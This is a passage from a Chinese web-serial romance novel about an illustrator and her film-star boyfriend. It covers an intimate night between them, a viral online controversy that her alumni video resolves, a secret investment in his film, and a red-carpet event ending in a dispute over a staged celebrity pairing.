在那之前合雨悠只是听说过凌湛,也看见过照片,从来没想过见到真人会对人家一见钟情。 这张照片有十年了,凌湛在此之前可能想不起来,可看见这照片瞬间,就好像弥补上了那一瞬间的记忆。他说:“我看见你了。” 合雨悠说:“什么?” 凌湛说:“我说我回想起来,那时候你们树下有个人在拍照,于是我看过去,也看见你。” 大概一秒、两秒,他侧开了头。 他们隔着时空对视着。 凌湛说:“当时是这样对视的吗?” 合雨悠茫然摇头,她记不清了,唯一记得的是凌湛鹤立鸡群而众星拱月,而她穿着不知道同桌打哪借的带烟味的男生校服,头发短短的又没个造型,还剪了齐刘海,其实并不起眼。 合雨悠迟疑了下:“所以你说的那个高一认识的……” 凌湛:“漂亮女生。” 合雨悠:“啊?我?” 凌湛低头看照片:“这还不漂亮啊?” 合雨悠也看,说了句:“还可以吧。”她当时很稚嫩,皮肤很白五官也很漂亮,不起眼是因为气质,刚到城里读书,害怕自己不合群,她站在一个很不起眼的角落,只要别人随手一掠就能忽略掉的画面,可还是被相机无意间捕住眼睛亮亮的一瞬间,藏着连自己都不知道的心思。 凌湛说回头洗出来:“结婚的时候放。” 合雨悠马上说:“不要啊!!” 凌湛:“怎么?” 合雨悠:“多少人有这个原片?我给自己P一P再放。” “这多好看,我不P。” 合雨悠:“不P就不结婚。” 凌湛就挑眉:“那你自己拿去P,我发你了。” 合雨悠打开了美图秀秀。 凌湛:“……P图也不是现在吧?” 凌湛自己扶着,一只手按着她腰。 他问:“家里有套吗。” “……没有吧。”合雨悠不小心把大家同时P白了,马上撤回挽救,说,“你只来我家住了一天。” 凌湛:“那我不敢进。” 合雨悠迟疑了下,P图其实不是个要紧事。她把手机搁一边,一只手撩起头发,转了个方向,低头的时候头发又下来了垂在脸侧,同时因为靠近而感觉到了昂扬和狰狞,她轻轻舔了一口。 凌湛按着她的后颈,合雨悠唔了一声:“凌湛,你帮我弄下头发……” 凌湛一只手在点外卖一只手拿她头发,低头也看她,合雨悠中途抬头问:“还有点玉米汤你喝吗?” 凌湛“啧”了一声:“别这么换话题。” 她:“我有点吃不动了……有点太难吞了。”跟棒子骨一样。 凌湛轻轻抚摸她泛红的脸颊:“别吞了,就这样吧,你起来点儿。” 合雨悠就开始挪,然后他换了个姿势躺下了,喊她:“你过来。” 合雨悠:“啊?” 凌湛抓住她小腿:“谁整天说话骑我头上。” 合雨悠耳热脸红:“我不要这样,我怕。” “我都不怕你怕什么,还是你要看个电影助兴。过来点儿妹妹。” 合雨悠:“你鼻骨要是断了怎么办……” “?” “没那么脆弱。”凌湛相当在意给女朋友的体验感,这样彼此都是第一次,合雨悠也不敢真的坐着,半是跪着的,可后面完全身不由己了,呜呜呜地哭着脖颈仰着,长发汗湿而披散在肩膀,仰头时甩开。 凌湛晚上喝过酒,但回来路上几个小时酒已经醒了。 现在又开始喝醉了似得。 酒顺着嘴角和脸颊、下巴,润湿沙发。 后半夜窗外轰隆隆地打雷。 合雨悠这股憋着的劲儿终于过去了,她本来睡很香,趴他怀里的,结果闷地一下被雷声吵醒了。凌湛的胳膊像一块岩石似的给她当枕头,她醒了后睁眼,发现有一双手捂着她耳朵的。 其实她戴了耳塞的。 雷声对她的攻击性没那么强。 温暖的掌心,完全包住。 凌湛把她圈在怀里,大掌贴着她耳侧。下巴低低伏在她发顶,不知道是睡着了还是没。 合雨悠心脏一阵阵地软得像摊水,柔软地流淌着。她想了想也没出声,继续装睡,鼻尖抵着凌湛被她亲过的侧颈,像睡着似得无意识蹭了蹭—— 作者有话说:[三花猫头]谢谢宝宝们追文,发点儿红包[三花猫头] 第68章 和喜欢的人待在一起的感觉好得难以言喻,像被温水漫过心尖。 合雨悠隔了很久很久回家,树叶透过缝隙落在脸上,望着老得走不动的狗趴在院门口,妈妈戴着防蜂帽进来喊她时,也曾有类似的感觉。 人在一生能有几个瞬间产生这样的感觉呢? 起码和凌湛在一起的时光里,合雨悠产生过数次。 两个人第二天都没事干,于是窝在一起打游戏,零食散着,懒洋洋的阳光打在地毯上。 凌湛看着屏幕说:“你怎么这么会压枪,你不是大学都在画画吗?” 合雨悠眼睛盯着手机,指尖飞快点屏:“我偶尔也要娱乐的。我就是在娱乐的时候……碰见——” 她欲言又止。 凌湛侧过头,手指还按在游戏里的开镜键上:“碰见什么?” 合雨悠也抬了下头:“有次碰见你一个朋友了,叫叶北的,还是叫叶小北。你高中同学。还有联系的吗?” “有啊。”凌湛往沙发里一靠,“我从来不主动跟人断联。” 合雨悠马上想到断联那几年。 她又有点愧疚了,瞄过去两眼,凌湛:“我没说你。” 合雨悠就说:“我们刚认识的时候,你开学那会儿,你也断联。” 凌湛心想她开始翻旧账了。 凌湛说:“你误会我跟女明星有一腿也断了我两个月不理我。” 合雨悠看着他。 两人面面相觑。 凌湛先说:“我为我那一次没有联系你道歉。”那阵子他离家出走了,手机卡拔下来丢了,连学校都没去,谁都没联系,也收不到任何人的联系。 合雨悠也软下来,低头说:“那我也道歉……我不该什么都不问的。不过你那个朋友,小北,他会在打游戏时说你的事,你小心一点。” 凌湛开始压枪扫射,语气轻松:“说我什么,我有什么黑历史,打台球一杆清?还是我很会投三分球,长得太帅被人翻墙看我摔断腿老师找我谈话?还是我每次考试学神附体年级前三高考七百二?” 凌湛说完用胳膊肘推推合雨悠:“你有翻墙来看过我吗?” 合雨悠说没有:“我都是借校服走正门的。” 凌湛抬眼:“认识我之前?” “认识你之前就看了你两次!”合雨悠说,“……我借你个号,跟你朋友匹配一下,你就知道了,看他聊不聊你。” 凌湛满不在乎:“聊就聊呗。” 合雨悠:“那万一他聊你女朋友呢?” 凌湛刚好吃鸡成功,屏幕上跳出“胜利”两个大字,他放下手机,顺势捞过合雨悠的脸揉了揉:“我女朋友是黑历史吗?这么漂亮,有什么不能聊的。难道我27了还是处男?” 话这么说他俩还是在晚上匹配上了这位嘴碎的旧友。 他开着麦,中途是聊了下凌湛,但没指名道姓。 就说:“一顶流,是顶流吧,我不看娱乐圈都老刷到他,代言那个什么奢侈品,什么表,商场巨屏广告……” “那是我高中好哥们儿?联系?当然还有,前两天还给我点赞了呢。” 凌湛对合雨悠说:“我不看朋友圈,因为你也不发。” 合雨悠说了句:“我也不知道发什么。叶总不让我发和你有关的,但我的生活差不多都和你有关。” 手机外放里,这位同学又说了:“你们别乱猜了,我不会告诉你们是哪个明星的。谈恋爱?那有的,包有的,那么帅一大帅比,不过就一个,网上传的都是假的,假的,漂亮吗?还行吧,是那种可爱型的,四十岁还像二十五的类型。” 合雨悠:“我惹他了吗?” 凌湛:“我说说他去。” 合雨悠抓住他,欲言又止的。 凌湛:“想说什么就说。” 合雨悠盘腿坐在沙发上:“我是你初恋是吗?” 凌湛:“……合着你才知道?” 合雨悠靠近他一点:“我以为你在认识我之前就有好多个女朋友了。” 凌湛低眸:“那我不是脏了?” 他的位置需要低头才能亲到合雨悠。 唇面相接的时候凌湛手掌自然而然伸入她夏天的衣服里。将她握得一颤,身上软成一滩水。 凌湛一想到如果生小孩了小孩也会跟他吃一样的东西他就不爽。 人在谈恋爱的时候就是会莫名其妙的接吻,顺便翻旧账。 凌湛:“我不是你初恋。” 合雨悠本来被吻得很投入的,闻言一懵:“什么?” 凌湛面无表情的:“别以为我忘了,你初恋是贺秋阳。” 合雨悠:“……” 凌湛没有继续亲了:“现在还有联系。” 合雨悠:“他是我眼线!!” 合雨悠主动地缠上去,主动地索吻汲取,他怎么能亲两口就算了呢?这公平吗? 凌湛两手向后一靠,倚在沙发扶手上,感觉到合雨悠舌头要试不试地探他嘴唇边缘,有点犹豫,但动作慢慢的,又很专注和细心,轻轻地啄着,像鸟吃米糠似的。 他心情变好了一点点,继续翻旧账,握着她的腰:“什么眼线,他给你盯向悦吗。” 合雨悠说当然:“不然我怎么敢谈恋爱……” 凌湛:“差点把她忘了,回头我去看看。” 合雨悠马上说别去! 她分开急道:“她就是因为你才酒驾出车祸的,万一你一去,她感觉到了就苏醒了怎么办?” 凌湛又把她捞回来,让她坐腿上了:“我会诅咒她去死的。” 合雨悠:“……有用吗?那我也咒。” 她感觉他们像两个小学生。 她确实还在担忧这件事,哪怕她制作的AI短视频已经在网上传包浆了,包括她做的模板也有一些人使用,但不代表真的不会出事。 哪怕贺秋阳把向悦的电脑黑了,手机丢了。 她还是没法完全放心。 如果一开始咬死不认,后面真的扒出来他俩关系,那不是自我打脸吗。 一想到有网友会反复品鉴合雨悠就感到社死,亲也亲不下去了,一下把他推开,忧心忡忡地说:“我去看下向悦吧。” 凌湛:“?” 合雨悠:“贺秋阳跟我说她状态和之前一样,但还不是植物人,但苏醒概率也比植物人高不了多少。” “你怎么去看?又跟之前一样,装他女朋友?我不允许。”凌湛按着她,表情不善,“我说你俩到底联系多少?手机给我看看。” 合雨悠没想瞒着,就给他看了,凌湛扫了一下聊天记录。 “雨悠,呵呵。” 指的是贺秋阳对她的称呼。 凌湛:“哥哥,呵呵。” 指的是合雨悠对贺秋阳那么一两次的称呼。 虽然知道他俩没什么,要真有什么在他和合雨悠分手的时候贺秋阳就该上位了,他们没有那就是没关系,合雨悠不喜欢他。 但凌湛还是很烦躁,他每次一不爽就会变得没那么温柔。 凌湛俯身亲吻她嘴角道:“宝贝你是喜欢我温柔一点的,还是这样的?” 合雨悠意乱情迷还不敢说。 凌湛好像一直有误解,觉得第一次的时候伤害到她了。 她真的不敢说其实她没有觉得。 记忆穿透性地贯穿分别的那七八年。 而凌湛误解第一次有伤害到她,在他们重逢过后每一次都因此带着愧疚而非常温和与绅士,会迁就她,亲吻她,深吻的时候拥抱她,喊她宝贝和悠悠,这样也没有什么不好…… 她也挺好的…… 什么都不想被他爱着,很快乐,所有烦恼都可以不想。 所以合雨悠就没回答,心想:原来惹他生气可以得到这种奖励啊。 ……明天她再和贺秋阳聊聊天去。 当然了贺秋阳上次就知道她和凌湛在《雾城》剧组期间复合了,对此没有说什么,聊天也很有分寸,他们这几个月也没见过,都是电话沟通。 第二天凌湛有点工作,他接了新的饮料代言,还要开剧本会,合雨悠听说他在筹拍导演的电影,好像是个不是很悬疑的悬疑片,剧本她还没看。 刚好这几天她要回母校参加讲座顺便拍摄,短暂地把事情一忘。 片场在学校的林荫大道边,六月的光线像刚洗过一样清透。 她穿得很学生,白衬衫扎进高腰深蓝色直筒裤里,戴着细框眼镜,头发松松扎成马尾,整个人清爽又乖巧。化了淡妆,看起来不像毕业好几年的漫画家,倒像个刚考上大学的好学生。 摄影师让她坐在图书馆前的石阶上翻画册,远远拍特写。合雨悠低头时,睫毛在镜片后轻轻颤,像学生时代那样没有经历过任何风雨的模样。然后切近景,念校训。以及那句:“我,在清华等你。” 因为看见有拍摄,从而有学生偶尔驻足和拿手机拍照。大多不认识她,她也不是什么大名人。 但也不是完全没人认识。 突然有人从队伍外喊:“西流!!” 合雨悠正好抬头。是个背着很重书包的男生,站在人群里脸都涨红了。 他确认了一秒,又激动又小心翼翼地跑过来:“你是小河向西流,对吗?能不能、能不能合影?我……我超喜欢你《死亡逆流》!” 合雨悠怔了怔,轻声说:“可以。” 男生凑上来拍照,脚尖都因为紧张立着,拍完又急忙道:“我还去了闲鱼收你的金书签……要不是上海太远我也想去签售,你本人的气质真的、真的……” 他说不下去了,只憋出一句:“特别美。你是在拍摄活动吗?” 她点头。“那我不打扰了,”男生腼腆地退开,又鼓起勇气补一句:“能再给我一个签名吗?拜托!” 她当然答应。 拍摄持续到晚上,从图书馆拍到工字厅,从主楼台阶拍到操场跑道。第二天还有校友的小型讲座,她也乖乖去参加了。 刚好这两天高考结束,高考的话题如火如荼。 全网都在讨论“清华究竟有多难”。 然而,就在合雨悠签售前连麦直播时那个无心之言“清华不算难”,突然被截屏疯传。 【惊了。某漫展女画手狂言清华不难。】 热度瞬间炸开。 “清华不难???” “她飘了吧?签个售就开始狂了?” “好家伙我高考战士直接破防。” “这姐要不要看看自己在说什么……” “现在她洗白的唯一方式就是**和考上清华。” “你这是在羞辱我们这些努力却上不了的人吗?” 顺着高考的话题,这番言论变得翻云覆雨,合雨悠都不需要人提醒,就频繁地刷到自己。 “建议道歉。” “别摆烂人设了,这种话不能乱说。” “她自己又不是清华的,哪来的勇气说不难?” “你怎么知道人家不是,万一人就是呢?” “别搞笑了,她早年微博简介是北京某职业技术学院,技校生也好意思说这种话?” 小河向西流被黑不是一次两次了,合雨悠也算是习惯了,前两次特别无语特别想辩解和辟谣,这次只剩无奈了。 他们可不就是五道口职业技术学院吗…… 凌湛给她打了电话,说帮她公关了:“叶铭在弄了,你别上网。” “我上着呢。”合雨悠说,“没事。” 她确实没有破防,可能有一点点情绪波动,但不大,睡一觉就能好。 合雨悠原地思考了一会儿,打电话联系了叶铭。 “铭哥,我账号我自己还能登录吗?” 叶铭:“当然,我又没改密码。你想登录?” 合雨悠“嗯”了一声:“我想稍微回应一下。” 叶铭顿了顿:“还是我们工作人员来写公关稿吧,你别乱说话。”其实这事儿不复杂,反而是个机会点,合雨悠明明有学历但从来不提,他这边连视频都做好了。 合雨悠说:“我不会乱说话的,我说的都是真心话。” 有时候真心话才容易被人骂呢,网友上头的时候说什么都没有用,叶铭经历浮沉多年什么场面没见过。想劝劝她吧,转念又算了。 合雨悠这事儿不能说大,但刚好撞上高考后,考不上清华的大有人在,家长和学生双双破防,可不逮着一个画漫画的攻击。 合雨悠说要回应,就在家里收拾了一个角落录了一段视频,稿子不是任何人写的,是她写的。 “大家好,我是画漫画的小河向西流,想解释一下当时的语境。那位妹妹告诉我她要高考,她很焦虑,我真的只是想鼓励她。” 然后插入被剪辑的原视频。 “那我先祝你能如愿考上清华。别紧张啦,清华真的没有想象中那么难……当然啦,你要真的去卷的话,它还是挺难的,但你肯定可以的。你只要相信它,然后努力去做,回过头也不会后悔。” 画面切回来,又是合雨悠坐在自家的米白色沙发上,扎了个马尾的素颜:“我祝所有刚高考完的人,都能去到你们想去的地方。真的祝福你们。” 最后一句更轻: “如果我的表达伤害了你,我向你道歉。” 视频一发出,底下反应瞬间分化: “她好像真的不是那种狂的人……” “她解释得挺温柔的,我反而更难过了呜呜呜,好温柔的小姐姐……” “怎么感觉有点真诚……” “但清华真的难!我们全校都没有一个人考上,不能这么讲!” 也有人继续骂:“这个画手全程不提自己技校的事儿?” “你读过吗你来说不难?” “她也配祝福,她以为自己是谁!真正的学霸都不敢这么说话。” 而转折就在半小时后—— 清华官方发布了前不久拍的校园宣传短片。 一分钟视频的第37秒, 镜头掠过图书馆台阶。 正安静翻着画册、睫毛垂落的那个女生—— 是小河向西流。 字幕淡淡出现: 【欢迎每一个努力生活、努力变好的人】 近景,刚刚那个素颜拍视频温柔祝福和解释的女画手,在这里仍然几乎是素颜出镜,笑得眼弯:“我,在清华等你。” 这一瞬间,全网大挪移。 “????她是清华校友??” “我靠……她没说,她真的没说” “为什么不直接说啊!!!” “我突然觉得我在骂一个诚实的小孩……” “完了我更爱了,漂亮又聪明有学历,什么都有了……” 合雨悠没有再管。 相应的她也在自己的粉丝群里祝福了每一个高考学子,取得他们想要的通知书,也有很多人鼓励她,说:“姐姐你真的是个很好很棒的人!不要在意网友,他们只是考不上破防。” 合雨悠当然知道自己很好很棒。 但她只有一个人,键盘侠却千千万。 趁着这波高考出分前的热潮,剩下的事全交给叶铭的公关了。 “加油,清华也不是很难。” “你考得上吗你就说不难?” “清华大学:我校校友漫画家小河向西流……” 三句话三段视频剪辑成一个鬼畜视频,合雨悠因为不想刷到自己每次都点屏蔽,信息茧房为她屏蔽了一切,但叶铭的好消息是: “首先,你的小红书和抖音,一个涨粉到三十万,一个涨粉到一百多万了,可喜可贺。” “其次,你的神仙小段子漫画很受欢迎,我们正在做漫剧,虽然现在出版行业下行,但漫画书也正在送审出版,不过这个不赚钱就是了。” 合雨悠听完就“哦”了一声,没什么太大反应,因为她还在家里画商稿。 “其次,你现在一条广告,报价可以是七万起步了。” 合雨悠:“嗯??” 叶铭:“嫌少啊?是有点少。” 合雨悠:“我能随便接?” 叶铭:“当然不能随便了。” 合雨悠只梦了一下一天十个广日入七十万就消停了。 广告不是那么接的,她说:“我一个月能接两个吗?” “可以,有两种方式,一个是你漫画号,可以使用漫剧软广置入的方式,这个你得自己思考自己想怎么置入,比如猴哥用面霜……” 合雨悠:“不能吧,他会掉毛吧。” 叶铭:“那我不管你怎么置入,你能自然画进去就好。第二种就是像之前那样拍摄Vlog,但你私生活会暴露比较多。不过你之前的签售Vlog数据都很好。” 合雨悠当然选第一种了,不管怎么变,她就是个画画的。 因为要收那么多的广告费,她也不敢马虎,绞尽脑汁地选了自己平时就爱用的产品,买回来进行小段子的二次创作。一创作就开始修修改改,十分苦恼。 如果画不出满意的和自然的广告植入,她就不发了,不赚这钱了。 就在她埋头苦干之际,想着一个月俩广,一年缴税完了也有一百五十万收入,不说大富大贵,也不至于像现在还完贷款给男朋友买套衣服都费劲的时候。 展紫妍回国了。 她是上周回国的,今天给合雨悠打的电话。 “盒子,我慢慢说,你慢慢听,别激动也别愤怒。” 合雨悠夹着耳机画画:“啊,什么,你说?” “我前前前任。”展紫妍说,“就之前考上公务员那个。” 合雨悠:“黑客哥?” 展紫妍:“是。”她在电话里稍显犹豫,又道,“他告诉我他刚发现一件事。我觉得他在撒谎就是了……” “什么?” 展紫妍:“你之前给你前任,那帅哥男明星投资电影的一百万。” 合雨悠:“啊?” 她记得这笔钱。 但是后来电影不是赔了吗?钱不就打水漂了吗? 合雨悠碍于凌湛那股自尊心,也从来没在他面前提过。怕提了他不开心……这种不开心和吃醋那种还不一样…… 展紫妍:“我前任哥说,人家之前给你打了两百万说是电影分成,好几年前了,是你投资完的第二年打回来的,他呢因为备考就收敛了非法灰色行为,这几年一直没发现,直到现在上岸了才敢翻墙,才知道有这么一笔钱的存在。当然我觉得他可能是就不想给你,最近你不是在帮我们母校拍宣传视频吗,眼看着要红了那么多人关注呢,我看他也知道了,怕以后事情被发现闹大编制保不住了,因为你前任哥也是个名人,所以就想个办法承认了……” 由于这话信息量过载,合雨悠反应了一下。 “等等,夺少?” 展紫妍:“两百万?” 合雨悠:“两百!万!” 合雨悠也不画画的,把笔往旁边一扔:“凌湛给的?” 展紫妍:“你前任是叫凌湛没错吧?那就是他。别说,我改观了,人还不错呢,又帅,要不复合呢?我意思是活好的话可以复合,哦不行他年纪有点大了吧,估计没劲,你还是找年轻弟弟吧我给你介绍……” 合雨悠趴沙发:“呜呜呜。” 两百万!!—— 作者有话说:凌湛:活好着呢) [让我康康]感谢追文~~发点儿红包[抱抱] 第69章 这笔钱一到,合雨悠在给凌湛的新电影投资和提前还房贷之间犹豫了下。 她先问凌湛:“你不是要拍新电影吗,缺投资吗?” 如她所料的凌湛说不缺。 但其实很缺,资金当然越多越好,前期用不完后期宣发还可以用,为此叶铭将电影包装成了融资项目:“我们到时候会在北方建个小镇,电影拍完后还可以吸引游客。” 大家就喜欢这种项目。 对于一部分人而言,听起来是个洗钱的好项目。 合雨悠想了想,匀出一半来还房贷,另一半加上最近赚的偷偷交给叶铭:“这是一百五十万,凌湛的电影是不是还缺点投资?我有好几次听他打电话聊这些,叶总你帮我投进去吧。” 叶铭愣了下又有点哭笑不得,这一百五够干个什么,砸下去水花都没有。 闻言对上合雨悠那双有点肉痛似的、但透着澄澈的眼睛,他也没有嫌少。 只是说:“你背后做好事,还不让男人知道,有什么意义?”他秉持的原则是做三分,要让人看见九分。结果这姑娘倒好,做了九分让人看见零。 合雨悠说:“我给你的意思就是不想让他知道,我能拿出来的就这么多了。” 叶铭拍她肩膀:“没事闺女,哥帮你。” 合雨悠以为叶铭说的帮,是帮她发家致富。她点头说好,扭头把剩下的钱全还给银行。 虽然再次身无分文,但每个月要还的钱直接砍半,合雨悠身上的压力小了好多,如果律师再给力一点,帮她快点追回跑路的动画工作室就好了…… 合雨悠发现不能找熟人当律师。 现在她都不好意思打电话催。 上当+1…… 合雨悠在手机里扫了一遍以后要还的每个月贷款后,切换了APP。 她男朋友去参加红毯盛宴了,现在是七点,正在直播。 直播页面不断跳转着明星走红毯的短镜头和主持人介绍的声音。 前几个女明星穿着层层薄纱、亮片礼服,站在采访板前笑得甜美,举手投足间都在争抢镜头。 再往后几位男明星身材瘦削,脸上卡着营业式的标准笑容,旁边弹幕刷着: 【啊啊哥哥帅!】 【造型师可以下岗了】 【下一位!下一位!】 直到主持人的语气忽然一顿:“下面出场的是……凌湛。” 弹幕瞬间炸开: 【来了来了!!!!】 【天神下凡】 【救命我腿软】 凌湛去红毯的次数很少。 碍于代言在身上合同都签了不得不去刷脸…… 镜头切过去—— 长腿先落进画面。 黑色高定西装线条笔挺,肩宽而挺括,是量身打造的轮廓。 无数闪光灯迎面而来,红毯前端的镁光灯啪啦啪啦地连续作响,他抬了下眸。 精致得不真实的深眼窝与桃花眸在光影里显出近乎雕塑的立体感,怼脸高清镜头切过去,毫无死角。 甚至能看见他眉骨下方淡淡的、特有的锋线。 有些明星经过高清镜头就露馅,因为五官的一点点沟壑和瑕疵都会暴露无遗,前一天晚上长的闭口甚至眉毛下方的一点杂毛都清晰。 可凌湛在高清镜头下一张脸平整清晰、轮廓深刻不属于人间。 主持台那边的人明显怔了几秒,她第一次见到本人。 在前面那么多万里挑一的男艺人过去后,依旧看得惊呆了。 耳返里立刻提醒:“注意形象!!” 主持人连忙把惊艳咽回去,换成职业腔:“凌湛今天的造型依旧非常地有辨识度,经典黑色高定……” 凌湛走到签名板前,指骨分明的手握着签名笔,低头一瞬连喉结的弧线都充满性感。 比较显眼的是手背上的棕榈树贴纸。 是个卡通的手绘风格的贴纸,拇指盖大小。 合雨悠看得一愣。 那不是…… 非常久远的记忆里,合雨悠曾在凌湛的手背上盖上了这枚贴纸。 合雨悠隔着屏幕都感觉被弹幕的“啊啊啊”给霸凌了。 【救命这是人能长出来的脸吗?】 【啊啊啊啊帅飞了】 【那是什么贴纸,好有童趣的设计啊!!上次是苹果皮戒指,这次是棕榈树贴纸!感觉老公私底下是喜欢看机器猫的……】 机器猫么,她爱看。 凌湛不喜欢。 但凌湛会陪她看的。 合雨悠一边在工作室撸猫一边关掉了大半的弹幕,因为很多人喊老公,要知道她都不怎么喊,特别上头的时候才会被他哄着喊一两句。 因为是直播,很快就切换到了下一个,合雨悠也耐着性子慢慢地看,公司里现在没什么人,凌湛的休息室比她家客厅大点儿,有个长沙发和一百寸的激光电视屏,角落里有个大型猫爬架。她一般和凌湛会在这儿约会和看电影,属于一个狗仔进不来的安全地带。 直播进行到八点半,所有明星入座吃晚饭,还在看直播的合雨悠问他:“那个看起来很高级的有金箔的是什么,好吃吗?” 没有关闭手机提示音的凌湛看了一眼屏幕,本来是不想吃的,看见消息,就动了下刀叉,吃了两口,回她:“好难吃,酸的。” 合雨悠:“??你怎么看手机?” 凌湛:“无聊啊,不看手机看什么,看别人假笑吗。” 合雨悠:“有博主在拍你啊!!!” 凌湛头都没拍:“拍他的,我又没死角。” 宴席就是个大型社交游乐场,凌湛至少不太厌恶社交,直播镜头里,他一边和来人平常地打招呼,一边又吃小甜品又频繁看手机的。宴席灯光黯,衬得凌湛优越的骨相愈发分明,几十万人弹幕刷着: 【第一次知道原来他喜欢甜食!!】 【每个都尝一口呜呜好乖好像好奇小猫】 【在给谁发短信,一直看手机还眼睛含笑我去……】 【不会有嫂子了吧??】 【这状态我懂我谈恋爱就他这样】 合雨悠心里咯噔了下,立刻不敢回消息了。 但凌湛不是那种人。 “在干嘛?” “不理我了?” “你工作去了?” “不理我不理我不理我” “这么大个宴会连个像样的厨师都请不起,没一个好吃的T-T。”他全试了一遍。 “你晚上吃的什么?” “宝宝。” “不想参加活动想懆宝宝。” 合雨悠还被他狂戳头像,提示:LZ戳一戳你并给你十万块;LZ戳一戳你并给你十万块…… 然后转账跟着就来了。 她心想怎么会无聊到这个地步? 但她确实不敢回复,实在是怕了那些火眼金睛,前阵子她和凌湛在车上就被人跟车了,她死活不肯下车最后甩掉了跟车才遮遮掩掩下车,还好没被狗仔拍到。 九点半过后就是盛典舞台,让人惊讶的是在娱乐圈这个论资排辈、阶级体现最明显的圈子,凌湛的位置在第一排,坐在盛典主办方总裁的旁边…… 惊讶是因为他出道时间并不长,作品少。 但他身上还有蓝血顶奢代言。这是在内娱是十年混不到的顶奢天花板。大部分人以为他不过两年新秀,是凭脸吃饭的幸运儿。虽然这脸确实能吃饭,真人帅到可以令圈内人驻足惊叹的地步。 但仔细回想就知道,他去年的电影在内地狂揽六十亿票房,加上北美和其他国家市场,加起来接近百亿,已经是去年乃至这几年票房最高的商业真人电影了。全球更是极高口碑,视觉特效团队和剧本拿了戛纳评审团特别奖、金球奖提名。 唯一可惜是,电影版权属于美国发行商,拍摄主体也在北美,所以凌湛在国内无法按本土作品冲奖。 但不妨碍观众记住了他,且爱看他,作品不多的情况下画面都被粉丝盘包浆了。不需要频繁营业也稳坐顶流位置。 坐在第一排时,凌湛原本是不笑的,因为太无聊了而面无表情,左腿搭在右腿上,搭在座椅上的腕间露出百万的表,镜头过来时,才会抬眼笑那么一下,嘴角微微压着,像春日融冰。 坐第一排无法玩手机,凌湛耐着性子看完了无聊的盛典活动,终于结束后拍大合影,不知道谁把他推到C位,他不想挡到矮一点的女星,主动后退请人上前,自己站在后面,虽然在走神但没人能看出来。 车上。 凌湛松开领带和衬衫扣子,靠在后座。 叶铭:“把你累的,中看不中用,一个活动而已。” “都是假人,看着就烦。”他抬头发消息。 叶铭不用看就知道他给谁发,原来谈恋爱快一年还能保持这种状态真了不起。 但因为内心很喜欢合雨悠,叶铭也不想拆散这两人,毕竟凌湛人品各方面没得说,许多人进了这个圈子人就糜烂了,但他不一样,还能保持初心和独善其身。 所以叶铭不仅帮他俩掩盖关系,还时常吹耳旁风,对凌湛说:“跟你说个事,别让盒子知道。” 凌湛眼睛往他那里一瞥,嗓音无聊而低哑:“嗯?” “你知道小盒子的经济状况应该没有我想的那么好,她这几个月很拼命地在画段子接稿,还有签售卖书,但都赚很少。”赚很少的定义是以他的标准而言,叶铭道,“而且你还倒贴送那些东西,还倒亏钱。但前几天盒子给了我一百五十万,说给你电影投资,让我别告诉你。” 凌湛表情微微一变。 “搞什么,我都跟她说不缺投资了。” 叶铭:“?” 叶铭:“你也别这样,闺女一片好心呢。” 凌湛:“别喊闺女那是我老婆,别占我便宜谢谢。” 叶铭:“妹妹也是一片好心,她这么爱你。” “我知道她爱我你也别喊妹妹。”凌湛心说这称呼只能他喊。 叶铭:“……那也别告诉她是我说的,这一百五我想着你要么收着,你如果电影拍摄上映……”票房什么的不好说,冲奖概率挺大的,叶铭咽下这句话,道,“到时候给她多点票房分红,皆大欢喜。” 凌湛低低“嗯”了一声。 他是知道合雨悠经济状况的,合雨悠给他检查过手机,凌湛看过短信,她把银行的短信置顶了,凌湛能看见她的贷款余额,和银行卡余额,所以知道她经济压力大。 一方面他努力支持她事业,一方面他让叶铭不要给合雨悠太多的工作:“太压榨她精力了。” 为了画个商稿凌晨三四点还不睡,四五点了还嚷着要细化头发和光影,要等打样反馈。 合雨悠还是很拼命。 还要配合欲求不满的凌湛,虽然不是每天但隔一天就来几个小时……凌湛觉得有点压榨她所以相当克制,可合雨悠实际上觉得挺解压的会挺不好意思地索取,索取就会撒娇,凌湛就会更爱她…… 烦恼就会短暂地一扫而空。 快到公司那会儿,叶铭刷了眼热搜。 皱眉。 “应梓琪捆绑你上热搜了。”叶铭说。 “谁?” 凌湛在看合雨悠拍的猫猫。 “应梓琪啊!今天坐你后面的女明星,长红了十年的未婚女明星。你给她让C位,还帮她提了下裙子,你自己忘了?” 凌湛回忆了下:“她裙子绊我脚了很烦的。别让她捆了,我女朋友看见会不开心的。” 合雨悠是个闷不吭声的醋王。 和凌湛这种看见要说出来的不一样,她得闷在心里好几天发酵了到受不了在说出来,凌湛对她这点无语很久了,因为他没有那么那么细心,知道她情绪的变化但有时候不知道原因。 叶铭心想他妈的又得花钱去撤,就在这时,叶铭接到了电话。 来电显示是老陶,老陶是应梓琪经纪人,是他老朋友了。 叶铭接了起来,老陶说:“叶总看见热搜了吗?” “看见了,我已经让撤了。”叶铭说。 老陶在电话那头开门见山:“叶总,热搜别急着撤啊,这不是我们买的,是粉丝自己冲上去的。梓琪那边现在也挺无辜的,大家嗑得开心,互惠互利,何乐不为?” 叶铭冷笑没发声。 ——不是你们买的才怪。 老陶继续说:“你看凌湛现在势头正猛,我们家梓琪国民度高,两边一挂,形象都更稳妥。要不……索性当个合约情侣?炒一炒,大家都有收益。” 叶铭眉头直接拧死:“老陶,你也认识我这么多年了,这种事我不可能答应。你们粉丝爱嗑是你们的事,别把我们艺人往坑里带。” 老陶还想说什么,被叶铭干脆利落挂断。话不投机半句多,想也知道凌湛不可能同意。他也不行,这对不起盒子。 车里安静了两秒。 凌湛从手机里抬头:“什么意思?不是说我不能谈恋爱吗。那为什么我不能谈恋爱,但可以跟女明星捆绑炒作?” 叶铭揉了揉眉心:“炒作归炒作,恋爱归恋爱。这是行业规则,你谈恋爱粉丝会掉,你炒CP粉丝会涨。这事复杂。这个应梓琪呢,虽然长红很多年,但去年到现在作品一直扑街,需要新鲜的东西给她的事业注入常青素。” 凌湛冷笑说:“老黄瓜刷绿漆。” 叶铭嘴角抽抽:“总之她捆绑你对她有利,对你不见得有利!!” 凌湛皱眉几秒钟,复而舒展眉心:“什么叫对我有利呢?” 叶铭说:“不能让你掉咖位的,什么女网红,圈里敢谈女网红的哪个不被嘲。除非是个有高逼格的国际超模,或者家境优越素人,什么豪门千金,公众接受度会高。” 凌湛:“我女朋友也是半个公众人物吧。两百多万粉丝,年底还要去泰国签售。她也算公众形象。那为什么不能让我捆绑她?” 叶铭:“……” “你不是说要我配合公司的宣发策略吗?那我提一个策略——捆绑我女朋友。” 叶铭:“……” 凌湛扫向手机里,那个“乖”的备注,说:“我讨厌地下恋爱。” 